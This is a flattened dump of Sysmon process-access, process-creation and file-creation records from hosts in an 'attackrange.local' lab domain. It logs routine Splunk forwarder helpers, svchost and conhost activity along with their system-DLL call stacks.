84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013893Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013892Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013891Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013890Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013889Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013888Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013887Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013886Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F52-613B-9704-00000000F101}1720C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013885Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F52-613B-9704-00000000F101}1720C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013884Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.037{625C326B-6F52-613B-9704-00000000F101}1720C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 11241100x800000000000000043193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:35.908{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\IRMProtectors\Microsoft.Office.Irm.MsoProtector.dll2021-09-10 14:44:35.908 10341000x800000000000000013928Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.926{625C326B-6F53-613B-9904-00000000F101}23961724C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013927Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F53-613B-9904-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013926Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013925Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013924Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013923Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013922Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013921Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013920Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013919Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013918Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013917Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-6F53-613B-9904-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013916Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.676{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6F53-613B-9904-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013915Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.677{625C326B-6F53-613B-9904-00000000F101}2396C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000013914Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.426{625C326B-6F53-613B-9804-00000000F101}2532836C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013913Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F53-613B-9804-00000000F101}2532C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013912Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:35.176{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 